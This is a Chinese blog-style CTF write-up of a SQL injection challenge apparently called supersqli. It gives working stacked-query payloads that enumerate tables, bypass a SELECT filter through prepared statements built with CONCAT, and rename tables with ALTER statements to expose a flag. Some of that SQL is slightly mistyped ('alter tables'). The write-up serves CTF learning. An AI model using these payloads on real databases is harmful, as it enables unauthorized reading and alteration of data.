关于sqil的题目,这个真的是知识面太杂了。我研究了好几天,才看懂了这个题解。
打开场景以后,发现的是一个文本框,然后试一下有没有sql注入
先输入1发现回显正常,然后输入1‘发现出现错误,然后就可以判断存在sql注入
然后判断一下有几列,进行 1' order by 2#回显正常,但是1' order by 3#回显错误,所以可以确定一共有2列
发现select被禁用
然后就想到运用推叠注入,
想到首先查询一下数据库,然后发现supersqli这个就是要找的数据库
然后进行查表操作,
分别查询两个表的字段:
(字符串为表名进行操作时要加反引号)
'; show columns from `1919810931114514` ;--+
'; show columns from `words` ;--+
发现了可疑的flag,
方法1:采用预编译绕过,
';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from
@sql;EXECUTE stmt;#
解释:
';sEt @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’); 进行预编译
prEpare stmt from @sql; 设置变量
EXECUTE stmt;# 执行
得出了最后的flag
方法二:可能比较绕
根据在words表里发现id字段与查询框里的出的数据类型相同,一个数字,一个字符串,所以猜测默认查询的就是words表,inject(搜索框中)值应该赋给了id
利用:我们可以将含有flag字段的表命名为word,然后修改字段名字,不就查询到我们想要的结果!(前提是这里rename,alert关键字 没有做过滤)
; alter tables words rename to words1;
; alter tables `1919810931114514` rename to words ;
; alter tables words change flag id varchar(50); #
查看flag:1' or 1=1 # 然后最终得出来flag